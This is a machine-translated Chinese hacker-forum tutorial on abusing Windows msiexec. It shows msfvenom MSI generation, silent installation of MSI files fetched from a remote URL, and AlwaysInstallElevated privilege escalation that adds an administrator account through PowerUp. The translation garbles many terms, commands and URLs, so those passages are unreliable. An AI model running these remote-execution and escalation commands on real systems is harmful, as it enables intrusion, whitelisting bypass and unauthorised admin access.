跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

0x00 前言

在上篇研究了ClickOnce的渗透技巧,接触到了安装包的概念。关于安装包还有一个常见的是中规模集成电路(中等规模集成的缩写)文件,可在命令行下通过msiexec安装,所以这次就研究一下msiexec在渗透测试中的利用技巧

0x01 简介

msiexec:

系统进程,是Windows Installer的一部分

用于安装Windows Installer安装包(微星)

一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大

系统自带,在命令行下使用,参数说明如下:

msiexec/Option[可选参数]

安装选项

| /i

安装或配置产品

/a

管理安装-在网络上安装产品

/j [/t ] [/g ]

向所有用户宣传产品- m,向当前用户宣传u

| /x

卸载产品

显示选项

/安静

安静模式,无用户交互

/被动

无人值守模式-仅进度条

/q[n|b|r|f]

设置用户界面级别

无用户界面

基本用户界面

简化的用户界面

f -完整用户界面(默认)

/帮助

帮助信息

重启选项

/norestart

安装完成后不要重新启动

/promptrestart

如有必要,提示用户重启

/forcerestart

安装后一定要重新启动计算机

日志选项

/l[i|w|e|a|r|u|c|m|o|p|v|x| |!|*]

我状态消息

w -非致命警告

表示“电子的”所有错误消息

行动的开始

r -特定于行动的记录

u用户请求

初始用户界面参数

间位内存不足或致命的退出信息

哦-磁盘空间不足消息

p -末端性质

五-详细输出

x -额外的调试信息

-附加到现有日志文件

!-将每一行刷新到日志

* -记录除v和x选项之外的所有信息

/日志

相当于/l*

更新选项

/update[;Update2.msp]

应用更新

/uninstall[;更新2。MSP]/包

删除产品的更新

修复选项

/f[p|e|c|m|s|o|d|a|u|v]

修理产品

p -仅当文件丢失时

哦-如果文件丢失或安装了旧版本(默认)

表示“电子的”如果文件丢失或安装了相同或更旧的版本

d -如果文件丢失或安装了不同的版本

如果文件丢失或校验和与计算值不匹配

表示“不”强制重新安装所有文件

你-所有必需的特定于用户的注册表项(默认)

间位所有必需的特定于计算机的注册表项(默认)

表示“上帝的”: 'sblood所有现有的快捷方式(默认)

五-从源代码运行并重新缓存本地包

设置公共属性

[属性=属性值]

0x02 制作.msi文件

1、使用metasploit

多级闪蒸命令如下:

MSF venom-f MSI-p windows/exec CMD=calc。exetest。中规模集成电路(medium-scale integration的缩写)

运行后生成test.msi

双击可以直接安装,如图,弹出计算器

2-1.png

等价于在命令行下执行如下命令:

msiexec /i test.msi

如下图,同时会弹出安装的对话框,可以使用/q参数来隐藏安装界面

2-2.png

命令行参数如下:

msiexec /q /i test.msi

如图

2-3.png

执行后会在%温度%下生成中规模集成电路(中等规模集成的缩写)的原木文件,如图

2-4.png

制造、科学及金融业联合工会为了能够让有效载荷可扩展,生成中规模集成电路(中等规模集成的缩写)文件的方式如下:

创建一个中规模集成电路(中等规模集成的缩写)文件模板

在文件的固定位置保留一段地址用来存储有效载荷

在运行过程中读取这个地址的内容并执行

细节可参考如下链接:

http://号公路。博格斯波特。co . uk/2013/03/metasploit-MSI-有效载荷-生成。超文本标记语言

关于中规模集成电路(中等规模集成的缩写)文件格式可参考:

http://www。法医维基。org/w/images/5/5b/compdocfileformat。可移植文档格式文件的扩展名(portable document format的缩写)

2、使用Advanced Installer

高级安装程序是一款功能强大、可生成符合微软视窗认证的Windows Installer的中规模集成电路(中等规模集成的缩写)安装包制作工具,具有友好的图形用户界面,直观而且非常简单的界面,是一款很好的Windows Installer编写工具

界面如下图,配置界面友好

3-1.png

在自定义行为中选择自定义操作,添加启动文件

设置启动文件等参数,如图

3-2.png

导出中规模集成电路(中等规模集成的缩写)文件,操作如图

3-3.png

生成文件如图

3-4.png

命令行参数如下:

msiexec /q /i test2.msi

Cmd.exe成功弹出,如图。

3-5.png

值得注意的是,弹出cmd的路径是C:\ windows \ installer \ MSI 3646 . tmp。

检查路径c:\windows\installer\,如图所示。

3-6.png

其中,6260236.msi与test2.msi大小相同(实际上是test2.msi文件)

现在关闭弹出的cmd,再次查看路径c:\windows\installer\如图。

3-7.png

安装完成后,安装文件被删除,只留下。tmp文件来记录安装操作,如图所示。

3-8.png

当然,MSI的日志文件也会在%TEMP%下生成。

0x03 远程下载执行msi文件

在之前的文章《Use SCT to Bypass Application Whitelisting Protection》中,我学习了regsvr32的应用技巧,可以在命令行下远程执行服务器上的sct文件。

命令行示例:

regsvr 32/u/s/I:https://raw . githubusercontent . com/3g student/SCT persistence/master/calc . SCT scrobj.dll

Msiexec也支持这个函数。

注:

以下链接介绍了远程执行与快捷方式相结合,将ole对象插入excel文档进行钓鱼攻击的方法:

https://labs . nettitude . com/blog/fun-with-windows-binaries-application-whitelist-bypass-using-msiexec/

将msi文件上传到服务器,并通过以下命令远程执行该文件:

msiexec/q/I https://raw . githubusercontent . com/3g student/test/master/test MSI . png

注:

因为是msf生成的msi文件,默认会被杀毒软件拦截,但操作只是弹出计算器。

将自己开发的msi文件上传到服务器,通过以下命令远程执行:

msiexec/q/I https://raw . githubusercontent . com/3g student/test/master/test 3 . MSI

成功执行msi文件并弹出cmd.exe。

4-1.png

0x04 权限提升

组策略可用于实现特权提升。

打开AlwaysInstallElevated特权安装功能:

打开组策略编辑器。

用户配置-管理模板-Windows组件-Windows Installer-总是以高权限安装:

选择启用。

计算机配置-管理模板-Windows组件-Windows Installer-总是以高权限安装:

选择启用。

5-1.png

该键值将在注册表中的以下位置自动创建:

[HKEY _当前_用户\软件\策略\微软\ Windows \安装程序]

" AlwaysInstallElevated "=dword:00000001

[HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ Installer]

" AlwaysInstallElevated "=dword:00000001

接下来,使用powerup来完成添加用户的操作。

上行地址:

https://github . com/powershell mafia/PowerSploit/blob/master/Privesc/power up . PS1

检查AlwaysInstallElevated是否已打开:

get-registralwaysinstallelevated

True表示系统打开AlwaysInstallElevated。

使用AlwaysInstallElevated添加用户:

Write-UserAddMSI

运行后生成文件UserAdd.msi。

此时以普通用户权限运行这个UserAdd.msi,成功添加账号。

如图所示完成测试

5-2.png

成功地在普通权限的cmd下添加了一个管理员帐户。

注:

如果你有访问注册表的权限,可以打开AlwaysInstallElevated更改注册表(必须同时修改注册表的两个键值),从而增强权限,甚至充当提升权限的后门。

检查是否打开AlwaysInstallElevated:

查一下注册表就知道了。cmd命令如下:

reg query HKCU \软件\策略\ Microsoft \ Windows \ Installer/v AlwaysInstallElevated

reg query HKLM \软件\策略\ Microsoft \ Windows \ Installer/v AlwaysInstallElevated

全1表示AlwaysInstallElevated打开,否则不打开。

0x05 小结

通过msiexec,不仅可以在命令行远程下载和执行代码,还可以应用于权限提升。更多的利用方法值得研究。

当然,作为对利用方法的防御,只要关闭AlwaysInstallElevated,就可以阻止通过msi文件的权利主张。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。